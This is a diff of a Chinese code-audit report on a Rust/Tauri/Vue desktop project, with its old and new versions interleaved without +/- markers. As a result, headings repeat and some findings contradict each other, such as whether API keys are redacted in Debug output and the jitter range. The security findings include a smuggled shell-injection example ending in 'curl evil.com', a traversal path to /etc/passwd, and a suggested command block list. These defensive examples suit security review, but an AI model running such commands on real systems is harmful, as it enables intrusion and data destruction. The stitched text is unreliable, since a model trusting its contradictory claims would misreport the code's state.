@@ -1,380 +1,312 @@
# 全量走查报告( 2026-06-28)
> 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
> 方法:3 路并行( Rust 后端/Vue 前端/文档体系),主代理综合整理
> 原则: dry — 仅审查 + 文档,不改代码
> 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实
> 原则: dry — 仅审查 + 文档,不改代码。误判项明确标注证据
---
## 🔴 安全
### ① relay.rs — 硬编码默认 Token
### ① ScriptNode — 白名单仅校验首词, shell 元字符可绕过
**文件 ** : `crates/df-relay/src/relay .rs:3 6-37 `
**文件 ** : `crates/df-nodes/src/script_node .rs:4 6-54 `
中继服务使用硬编码 `DEFAULT_TOKEN = "devflow-relay-default-token"` ,所有未设环境变量的部署均使用同一静态 token。通过 `strings` 即可从二进制提取。
``` rust
let cmd_name = command . split_whitespace ( ) . next ( ) . unwrap_or ( " " ) . to_lowercase ( ) ;
```
**建议 ** :启动时要求必须设置 `DF_RELAY_TOKEN` 环境变量,移除默认值 。
`check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command` 。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"` ,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止) 。
### ② models.rs — `AiProviderRecord` Debug 未脱敏 api_key, 日志泄漏风险
**建议 ** :① 默认启用黑名单(至少挡 `rm` /`del` /`format` /`shutdown` );② 对工作流 JSON 来源做信任链校验。
**文件 ** : `crates/df-storage/src/models.rs:288`
### ② MCP server 完全无鉴权
`AiProviderRecord` 未实现自定义 `Debug` 对 `api_key` 脱敏。若上层代码意外 `{:?}` 打印(如 `t racing::debug!` ),明文 API key 会写入日志。`model_configs` ( L296) 与 `config` ( L298) 等 JSON 字段同样不安全。
**文件 ** : `crates/df-mcp/src/server.rs:37-44` + `c rates/df-mcp/src/lib.rs:11`
**建议 ** :为 `AiProviderRecord` 实现自定义 `Debug` ,将 `api_key` 输出为 `"sk-****"` 。
注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程( Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory` (Medium) 可绑定任意路径让后续工具误以为已授权 。
### ③ ScriptNode — 命令无白名单/沙箱
**建议 ** :启动生成 ephemeral token 写入应用 KV, Tauri CLI 子命令传 token, 每条 `tools/call` 校验。
**文件 ** : `crates/df-nodes/src/script_node.rs:15-19` + `crates/df-execute/src/shell.rs:92-117`
### ③ `bind_directory` 路径检测不一致
ScriptNode 从 config 取 `command` 字符串透传给 shell( `cmd /C` / `sh -c` ),无任何命令白名单或参数校验。工作流定义来自 AI 生成或外部导入时,恶意命令可通过 AINode 写入 ScriptNode config 注入执行。
**文件 ** : `crates/df-mcp/src/tools.rs:328`
**建议 ** :添加危险命令关键词告警(`rm -rf` /`DROP TABLE` /`Format` ),可选白名单/环境变量隔离配置 。
MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file` ,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致 。
### ④ bind_directory — 原始路径入库未规范化 + 无沙箱校验
**文件 ** : `crates/df-mcp/src/tools.rs:314-342`
`bind_directory` 接收用户传入 `path` , `normalize_path` 仅用于去重检测,**原始 `path` 值直接存储**。同一目录可用两种写法绑定两次绕过冲突检测。且未校验规范化后路径在项目沙箱允许范围内。
**建议 ** :存储前 `normalize_path()` + 校验在沙箱目录内 + 拒绝含 `..` 的原始路径。
### ⑤ state.rs — `std::sync::Mutex` 在 async 上下文中持锁风险
**文件 ** : `crates/df-workflow/src/state.rs:34-36, 55, 97, 104`
`StateMachine` 使用 `std::sync::Mutex` 保护 HashMap, 在 `get()` 等同步方法中直接 `lock().expect()` 。`DagExecutor` 在 `futures::future::join_all` 同层并发时,若某节点持有引用后 `.await` 另一操作间接尝试锁 `states` ,会死锁。通篇 4 处 `expect` ——某节点 panic 导致锁中毒,连锁 fatal。
**建议 ** :改用 `tokio::sync::Mutex` , 或在文档中明确标注「state_machine 方法不得在 `.await` 期间持锁」。
### ⑥ eventbus.rs — 错误静默吞噬
**文件 ** : `crates/df-workflow/src/eventbus.rs:16, 32`
`DEFAULT_CAPACITY: usize = 256` , `EventBus::send` 调用处 `let _` 吞噬所有错误。当并发节点多且事件消费慢时, 256 溢出导致最早接收者 Lagged 错误。
**建议 ** : `send` 处 `tracing::warn!` 记录 Lagged 错误。
### ⑦ shell.rs — `probe_pwsh` 同步阻塞 tokio 运行时
**文件 ** : `crates/df-execute/src/shell.rs:53-66`
`probe_pwsh()` 在 `Default::default()` 中调用,`Default` 在 `execute()` 异步函数内调用。在 tokio 异步函数中同步阻塞 `cmd.status()` 违反最佳实践。
**建议 ** :惰性异步探测(`OnceLock` 配 `tokio::task::spawn_blocking` )。
### ⑧ retry.rs — backoff jitter 随机性弱
**文件 ** : `crates/df-ai/src/retry.rs:77-81`
jitter 使用 `SystemTime::now().duration_since().subsec_nanos() % 2000` 映射到 `[-1.0, 1.0)` 。纳秒级退化到 1ms 粒度时多个请求可能拿到同一值,重试碰撞风险。
**建议 ** :改用 `fastrand` , jitter 范围扩大到 ±50%(当前 ±20%)。
**建议 ** : MCP 端复用 `validate_path` 的分段检测逻辑。
---
## 🔴 文档
## 🔴 架构
### ⑨ AI对话引擎-2026-06-14.md — 工具清单严重过时
### ④ AI 核心状态机焊死在 src-tauri, df-ai 名不副实
**证据 ** :
- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession` 、`PerConvState` 、`AiChatEvent` 、`SessionState` 等
- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop`
- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs` (空壳) + `intent/planner` (未接入)
ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试) , AI 状态机没有独立 crate 级单测。
**建议 ** :把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。
### ⑤ df-project / df-ideas 伪分层
**文件 ** : `crates/df-project/src/manager.rs` (全文 ~80 行,仅 2 个工厂函数)
`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs` , `commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager` 。领域层"不依赖 storage 保持分层"形同虚设。
**建议 ** :要么删除 df-project, 要么真正把领域规则下沉进去。
### ⑥ TaskStatus 两套并存
**证据 ** :
- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str` /`from_db_str` /`is_valid`
- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state`
注释自称"严格对齐"但靠人工维护, 任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。
**建议 ** :让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。
### ⑦ IPC 错误拍平为 String, 结构化信息全失
**文件 ** : `src-tauri/src/commands/mod.rs:26` `pub fn err_str<E: ToString>(e: E) -> String`
df-types/error.rs 精心设计了 11 个变体(`NotFound` /`Validation` /`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState, 无法做差异化处理( 如 NotFound→跳转列表 vs InvalidState→提示冲突) 。
**建议 ** : IPC 错误用 serde 序列化的 enum( `{ kind, message, ...fields }` ),前端按 kind 分支。
### ⑧ 配置四源并存, relay token 两端契约不一致
**证据 ** :
- 环境变量:`DF_RELAY_TOKEN` ( relay 端缺失 panic) /`DF_SCRIPT_BLACKLIST` /`DF_SCRIPT_WHITELIST`
- DB KV: `app_settings` 表
- AppState 内存: AtomicU64/Usize
- 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"` (与 relay 端强制 env 不一致)
桌面端硬编码默认 token, relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。
**建议 ** :建立分层 Config 单例( env > app_settings > 默认常量),跨 crate 共享。
### ⑨ 文档与代码严重失步
**证据 ** :
- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types`
- PROGRESS.md §二/§三 同样写 df-core
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs`
- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve` (已移除)
- ARCHITECTURE.md §4 crate 树漏列 `df-types` /`df-mcp` /`df-ai-core` /`df-relay` /`df-tunnel` , crate 数量描述"9 crate"vs 实际 12
**建议 ** :批量替换 df-core → df-types, 更新 crate 树与规模表。
---
## 🔴 代码质量
### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴
**文件 ** : `src/composables/ai/useAiEvents.ts:569-737`
`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑( clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4× localStorage.removeItem) , 共 ~10 步骤在三个分支逐行复制。
**建议 ** :抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。
### ⑪ Store 错误处理样板重复 38 处
**证据 ** : `src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:
``` ts
try { state . xxx = await api . xxx ( . . . ) }
catch ( e : any ) { state . error = e ? . toString ( ) ? ? t ( 'xxx.err.xxxFailed' ) }
```
**建议 ** :抽 `runWithCatch(state, i18nKey, fn)` 工具。
### ⑫ idea_repo.rs — 注释承诺的测试不存在
**文件 ** : `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44`
注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。
**建议 ** :补 `#[test] fn test_idea_cols_matches_record()` 或改注释。
### ⑬ df-relay 完全无测试
`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)]) 。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。
**建议 ** :至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。
---
## 🟡 并发与可靠性
### ⑭ SQLite 单连接 Mutex 串行化
**文件 ** : `crates/df-storage/src/db.rs:13-16`
``` rust
pub struct Database { conn : Arc < Mutex < Connection > > , }
```
所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池` 。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。
### ⑮ EventBus broadcast 容量与 Lagged 处理
**文件 ** : `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141`
容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。
**建议 ** :流式增量与审批响应分总线,或 Lagged 显式重发。
### ⑯ run_migrations 持有 tokio Mutex 守卫
**文件 ** : `crates/df-storage/src/db.rs:48-53`
V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。
### ⑰ task_link_repo.rs 注释误导
**文件 ** : `crates/df-storage/src/crud/task_link_repo.rs:116-138`
注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。
### ⑱ relay 默认监听 0.0.0.0
**文件 ** : `crates/df-relay/src/main.rs:17`
token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。
**建议 ** :默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0` 。
---
## 🟡 代码简洁性
### ⑲ 大文件未拆分
- `src/components/ai/MessageList.vue` 1552 行( style 441 + script ~1100)
- `src/views/IdeaDetail.vue` 926 行( style 481 + script ~300, 四域逻辑)
- `crates/df-storage/src/crud/idea_repo.rs` 1500 行( IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)
- `crates/df-nodes/src/human_node.rs` 831 行
**建议 ** : MessageList 抽 MessageBubble.vue; IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel; idea_repo.rs 拆三文件。
### ⑰ 组件内 toast 状态重复
**文件 ** : `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191`
两个根组件各自维护 toast reactive + showToast, 逻辑完全一致。
**建议 ** :抽 `composables/useToast.ts` 。
### ㉑ TS any 滥用集中在 catch 和跨层透传
48 处 `: any` /`as any` :
- **类型 A**( 38/48) : `catch (e: any)` → 改 `unknown` + 类型守卫
- **类型 B**:跨层 `as any` 透传未声明字段( useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498)
**建议 ** :补完 api/types.ts 真实字段( AiMessage.errorType、Message.status) ; defineExpose 建 interface。
### ㉒ AgentCoordinator deprecated 空壳
**文件 ** : `crates/df-ai/src/coordinator.rs`
已标 `#[deprecated]` ,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。
**建议 ** : `#[cfg(feature = "multi-agent")]` 隔离或删除( git 历史可找回)。
### ㉓ planner.rs 11 处 #[allow(dead_code)]
builder API( SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。
### ㉔ app_settings KV 无 schema
`SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs) , 新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。
### ㉕ 视图 CSS 重复 + tags 解析重复
- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn` /`.btn-primary` scoped 样式(项目已有全局 `styles/components.css` )
- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑
**建议 ** : CSS 收敛到全局; tags 解析抽 `parseTagsInput` 。
---
## 🟡 文档
### ㉖ AI对话引擎文档工具清单过时
**文件 ** : `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`
标题自称" 12 个"工具,表格实际列出 **13 行 ** (自相矛盾);与 `df-ai-AI集成模块-2026-06-12.md` 声称的 **22 个工具** 严重对不齐; 缺失 `run_command` /`patch_file` /`list_trash` /`file_info` /`search_files` /`delete_task` /`restore_project` /`purge_project` 等工具 。
标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个 严重对不齐。 缺失 `run_command` /`patch_file` /`list_trash` /`file_info` /`search_files` /`delete_task` /`restore_project` /`purge_project` 。
**建议 ** :全文同步至当前实际 22 个工具的最新清单。
### ⑩ 02-架构设计/INDEX.md — 漏索引 9 个已有文档
**文件 ** : `docs/02-架构设计/INDEX.md`
### ㉗ INDEX.md 漏索引 9 个文档
| 子目录 | 漏列数 | 典型遗漏 |
|-------|-------|---------|
| 专项设计 | 7 | ` AI原生上下文地图` 、` AST符号解析` 、`插件机制` 、` 查询能力补全方案` 、` 项目知识图谱` 等 |
| 已编号方案 | 2 | ` F-260622-01-跨端AIChat-Phase3联调设计` 、` 消息级溯源P2-切读方案` (今天新增) |
| 构想审查 | 1 | ` 跑题改进试验记录` |
| 根目录 | 2 | ` 单对话并行多轮-Phase0落地路线图` 、` 单对话并行多轮-设计` |
| 专项设计 | 7 | AI原生上下文地图、 AST符号解析、插件机制、 查询能力补全方案、 项目知识图谱 |
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、 消息级溯源P2-切读方案 |
| 构想审查 | 1 | 跑题改进试验记录 |
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、 单对话并行多轮-设计 |
**建议 ** :批量补齐,建立「新增文档 → 立即更新 INDEX」的提交习惯。
### ⑪ Agent架构说明 — 死链
### ㉘ 死链
**文件 ** : `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`
``` markdown
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)
```
目标文件在 `构想审查/` 下,当前路径解析到 `专项设计/` 下不存在。
`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/` 。
**建议 ** :改为 `[任务推进设计](../构想审查/任务推进构想-2026-06-14.md)` 。
### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反
### ⑫ ARCHITECTURE.md §七 + 新设计文档 — 大段逐字重复
YAML 模板( 52行) 、AgentPersona struct( 11行) 、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。
**文件 ** : ` ARCHITECTURE.md:538-665` / `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
### ㉚ ARCHITECTURE.md ~100 行已移除模块残留
YAML 模板示例( 52行) 、`AgentPersona` struct 定义( 11行) 、三层定义表、实例化流程——**大段逐字重复**,违反文档记录规范 SSOT 原则 。
§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档 。
**建议 ** : ` ARCHITECTURE.md §七` 保留概要(三层定义 + 关系图 + 关键原则) , YAML 全文和 struct 定义仅在专项设计文档展开, ARCH 以引用链接替代。
### ㉛ ARCHITECTURE.md 状态过时
### ⑬ ARCHITECTURE.md 仍保留 ~100 行已移除模块细节
**文件 ** : `ARCHITECTURE.md:210-318` ( `df-task` / `df-traceability` 章节)
保留 Task 生命周期图、分支策略、标注系统、需求-功能-测试映射、Decision struct 等已移除模块的详细设计。造成认知负担。
**建议 ** :将已移除模块的详细历史移至 `功能决策记录-归档` , ARCHITECTURE.md 仅保留「已移除,见归档」。
### ⑭ 模块文档更新停滞(最长 16 天)
| 文档 | 最后更新 | 距今天数 |
|-----|---------|---------|
| `df-workflow-工作流引擎-2026-06-12.md` | 06-15 | 13 天 |
| `df-ai-AI集成模块-2026-06-12.md` | 06-14 | 14 天 |
| `df-storage-存储层-2026-06-12.md` | 06-15 | 13 天 |
| `想法探索-对抗式评估-2026-06-12.md` | 无更新 | 16 天 |
**建议 ** :对上述文档做一次「代码对齐」检查。
### ⑮ ARCHITECTURE.md 版本状态过时
**文件 ** : `ARCHITECTURE.md:3`
当前 `状态: 设计阶段` 。工程处于 **Phase 2 验证阶段 ** ( df-workflow 核心完成、AI ReAct 循环运行中、审批机制就绪),状态标签与实际不符。
**建议 ** :改为 `状态: Phase 2 本地优先开发流程验证` (与 `docs/INDEX.md` 一致)。
### ⑯ 新设计文档与现有文档缺失交叉引用
**文件 ** : `docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md`
应当引用但未引用:`全局事件数据总线` 、`df-nodes-节点集合` 、`任务推进构想` 。
**建议 ** :补充上述交叉引用。
### ⑰ AI对话引擎文档边界归属模糊
**文件 ** : `docs/03-模块文档/AI对话引擎-2026-06-14.md`
位于 `03-模块文档/` ,但内容大量描述 `src-tauri/commands/ai/` 下的 Tauri 层代码,而非 `crates/df-ai` crate 内部。按文档记录规范职责矩阵,`03-模块文档/` 应记录各 crate 实现细节。
**建议 ** :移入 `02-架构设计/` 适当子目录,或明确标注为跨层交互设计文档。
---
## 🟡 代码质量
### ⑱ dag.rs — `deep_merge` 收到 null 返回 null, 覆盖全局配置
**文件 ** : `crates/df-workflow/src/dag.rs:174-192`
`deep_merge(global, null)` 返回 `null` 。若某节点定义写了 `"config": null` ( JSON 显式 null) , 该节点 `ctx.config = Value::Null` ,原本期望继承全局 config 的节点拿到空配置。
**建议 ** : `DagExecutor.run()` 中对 `deep_merge` 结果做 `if result.is_null() { initial_config.clone() }` 兜底。
### ⑲ dag.rs — `_` 通配 match 掩盖未覆盖变体
**文件 ** : `crates/df-workflow/src/dag.rs:191`
`deep_merge` 的 match 最后分支 `_ => node.clone()` 过于宽泛。若未来新增 `serde_json::Value` 变体,不会被编译器捕获。
**建议 ** :显式列出所有剩余变体并 `bail!` ,迫使维护者在修改时意识到影响。
### ⑳ shell.rs — `String::from_utf8_lossy` 编码错误被静默替换
**文件 ** : `crates/df-execute/src/shell.rs:155-156`
shell 输出使用 `String::from_utf8_lossy` ,将非 UTF-8 字节替换为 `<60> ` 。对于中文/日文环境(如 `chcp 65001` 前的 GBK 输出),用户看到乱码替代符,诊断困难。
**建议 ** :添加 `tracing::debug!` 记录损失性替换的字节数,或提供 `encoding_rs` 转码选项。
### ㉑ query LIKE 搜索 — SQL 通配符未转义
**文件 ** : `crates/df-storage/src/crud/project_repo.rs:245-246`
`LIKE ?` 使用 `%{trimmed}%` 拼接,`keyword` 中的 `%` /`_` 会被字面匹配。用户搜索 `100%` 匹配所有行,搜索 `error_404` 匹配 `errorX404` 。
**建议 ** :对 keyword 中的 `%` /`_` 做 `replace` 转义,加 `ESCAPE '\'` 子句。
### ㉒ coordinator.rs — 空壳仅用注释声明"勿删",应加编译期守卫
**文件 ** : `crates/df-ai/src/coordinator.rs:1-24`
注释声明「B 路线占位,有意保留空壳,勿删」,但无 `#[deprecated]` 或 `#[doc(hidden)]` 编译期标记。调用方引入 `AgentCoordinator::new().run()` 只能运行时发现返回 `"TODO"` 。
**建议 ** :加 `#[deprecated(note = "B 路线占位,勿用于生产")]` 。
### ㉓ secret.rs — 密钥迁移 sidecar 文件写入无原子性
**文件 ** : `crates/df-storage/src/secret.rs:75-81`
`record_migration_fail` 每次调用同步读文件 → 改 map → 写文件,迁移时 10+ provider 逐条失败时每条 2 次文件 I/O。无原子写入保障, 异常中断可能产生半写文件。
**建议 ** :积累内存中的失败计数,迁移循环结束后一次性持久化。
### ㉔ Intent/planner/plan_hint — 纯函数模块无单测覆盖
**文件 ** : `crates/df-ai/src/intent.rs` / `planner.rs` / `plan_hint.rs`
注释声称「纯函数、零 IO」, 均无 `#[cfg(test)]` 覆盖。Phase 1 接入主 loop 前应补充。
**建议 ** :为这些纯函数模块补充输入输出确定性匹配测试。
---
## 🟡 前端
### ㉕ Settings.vue — 内联 confirm 弹层重复实现
**文件 ** : `src/views/Settings.vue:7-16`
Settings.vue 内联了完整 confirm 弹层模板,完全复制了 `ConfirmDialog.vue` 的 UI/逻辑,自身维护 `confirmState` /`answerConfirm` 。全项目已有 `useConfirm` composable。
**建议 ** :用 `useConfirm` + `ConfirmDialog` 替换内联实现。
### ㉖ 多视图 — 按钮 CSS 重复定义
**文件 ** : `Dashboard.vue:126-162` / `Projects.vue:445-458` / `Ideas.vue:421-432` / `Knowledge.vue:449-458`
四处视图各自定义 scoped 按钮样式。项目已通过 `main.ts` 导入全局 `styles/components.css` 。
**建议 ** :删除视图内按钮样式,统一走全局 CSS。
### ㉗ Ideas.vue + Knowledge.vue — tags 解析逻辑重复
**文件 ** : `src/views/Ideas.vue:302` / `src/views/Knowledge.vue:321`
``` ts
tags . split ( ',' ) . map ( t = > t . trim ( ) ) . filter ( Boolean )
```
**建议 ** :提取为工具函数 `parseTagsInput` 放进 `src/utils/` 。
### ㉘ Ideas.vue — Arco Design `Message` 残留
**文件 ** : `src/views/Ideas.vue:144`
全项目仅在 Ideas.vue 使用了 Arco 的 `Message` 组件( 3 处),其余使用自建 toast。混用。
**建议 ** :用自建 `showToast` 替换后删除 Arco 依赖。
### ㉙ stores/ai.ts — 两个 watch 监听同一 `.messages.length`
**文件 ** : `src/stores/ai.ts:204, 241`
两个 `watch(() => state.messages.length, ...)` 分别处理条数上限和 parts 体积上限。每次 length 变化触发两个 watch, 第二个还要遍历 messages 求和。
**建议 ** :合并为一个 watch。
### ㉚ AiChat.vue — `initDrainQueueListener` 每次 `useAiStore()` 调用都执行
**文件 ** : `src/stores/ai.ts:304`
``` ts
void initDrainQueueListener ( )
```
每次调用 `useAiStore()` 都执行。需确认内部做了幂等守卫。
**建议 ** :确保只初始化一次(如外层 `initOnce` 布尔守卫)。
### ㉛ AiChat.vue — 空值传播无告警
**文件 ** : `src/components/AiChat.vue:238`
``` ts
const conv = store . state . conversations . find ( c = > c . id === id )
const title = conv ? . title || t ( 'aiChat.newConversation' )
```
`find` 返回 `undefined` 时静默回退默认标题。非预期 ID 进入时不告警。
**建议 ** :至少 `console.warn` 记录 ID 不在列表中的情况。
### ㉜ 多视图 — `catch (e: any)` 类型退化
**文件 ** : 几乎所有 Vue 视图
``` ts
catch ( e : any ) {
state . error = e ? . toString ( ) ? ? t ( 'xxx.failed' )
}
```
**建议 ** :统一改为 `catch (e: unknown)` 。
### ㉝ AiChat.vue — 体积仍偏大
**文件 ** : `src/components/AiChat.vue` (模板 128 行 + script ~200+ 行)
仍承载全局快捷键处理、编辑态管理、队列编辑态管理、Toast 共享状态等。
**建议 ** :将键盘快捷键抽离为 `useAiShortcuts` composable。
### ㉞ Ideas.vue — `searchQuery.trim()` 重复调用
**文件 ** : `src/views/Ideas.vue:219-220`
``` ts
if ( searchQuery . value . trim ( ) ) {
q . keyword = searchQuery . value . trim ( )
}
```
**建议 ** :提取 `const trimmed = searchQuery.value.trim()` 。
### ㉟ Projects.vue — 冗余 `as string` 断言
**文件 ** : `src/views/Projects.vue:217-218, 222`
`selected` 已被类型收窄为 `string` ,后续 `as string` 多余。
### ㊱ MCP tools/list — `unwrap_or(Value::Null)` 在数组中混入 null
**文件 ** : `crates/df-mcp/src/server.rs:140-142`
``` rust
serde_json ::to_value ( & t . tool ) . unwrap_or ( Value ::Null )
```
若某个 tool schema 序列化失败, tools 数组中混入 `null` 。
**建议 ** : `.filter_map(|t| serde_json::to_value(&t.tool).ok())` 。
### ㊲ Ideas.vue — `IdeaQuery` 类型未充分对齐
**文件 ** : `src/views/Ideas.vue:146, 214-217`
`order_by` 字段类型为 `string | null` ,后端若收窄为联合类型白名单,前端不会报错。
**建议 ** :前端 `order_by` 使用 `'score' | 'created_at' | null` 。
L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证` 。
---
## ✅ 亮点
### ① 密钥管理分层设计( secret.rs )
`resolve_provider_secret` 三阶段回落: DB 明文(向前兼容)→ OS keyring → 空字符串。迁移非阻断、幂等、失败计数告警。单测通过 `cfg` gate 仅桌面 OS 跑 keyring 测试 。
### ① df-ai/df-ai-core trait 下沉( F-01 )
df-ai-core 零 HTTP 依赖(仅 5 个依赖) , df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦** 。
### ② SQL 注入防护体系
列名白名单(`validate_column_name` + `impl_repo!` 宏统一调用),`build_order_clause` 对排序方向也做白名单校验。软删除/恢复/清空全部参数化 SQL 。
### ② df-mcp advance_task 复用 df-nodes 状态机
MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic` , 推进链三层校验( is_valid_state/can_transition/CAS/regression bump) 唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」 。
### ③ 前端竞态保护( knowledge.ts)
递增序列号丢弃过期响应。`ai.ts` watch 双重守卫(`oldLen > 0 && newLen - oldLen <= 2` )精确区分局部增长和整体替换 。
### ③ keyring 密钥下沉 + 迁移补偿
secret.rs 三阶段回落( DB明文→OS keyring→空) , `migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"` 。
### ④ `useConfirm` 统一确认弹层
从 4 个视图中提取重复 Promise+resolve 模式,正确处理并发覆盖场景(前一个 Promise 先 resolve false) 。
### ④ SanitizedPath newtype 强类型
`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用 。
### ⑤ Store 内部分拆 4 子 store
`stores/project/` 拆分为 projects/tasks/ideas/workflow, 共享 `state.ts` 单例,对外 `useProjectStore()` 不变——「内部拆分,外部零改动」 。
### ⑤ 取消路径 TOCTOU 三层防护
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口 。
### ⑥ 取消路径 TOCTOU 三层防护
`state.rs:86-100` + `executor.rs:180-232` : Ok 后检查、Err 分支检查、阻塞节点轮询。注释详细记录了 TOCTOU 时序窗口 。
### ⑥ SQLite WAL + spawn_blocking 正确
所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用; 批量用事务原子提交; WAL 模式读写不互斥 。
### ⑦ MCP 多层防御
三级过滤:`visible()` 读模式仅 Low 工具、`tools/list` 剔除 High、`dispatch` 再拦截 read-only + Medium 拒 + High 兜底拒 。
### ⑦ 重试机制工业级
retry.rs ±50% jitter( rand::thread_rng) + 错误分类( Ok/Retryable/Fatal) + 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全 。
### ⑧ V21 大版本迁移谨慎
`BATCH_SIZE=50` 分页、空库跳过、解析失败 skip 而非崩溃、`column_exists` 守卫 ALTER TABLE 防重复执行 。
### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程; Windows 黑窗抑制 。
### ⑨ 子进程清理 + Windows 黑窗抑制
`kill_on_drop(true)` 超时后子进程不残留;`creation_flags(0x08000000)` 抑制 Windows 黑窗闪现 。
### ⑨ TaskStatus is_valid 单测覆盖
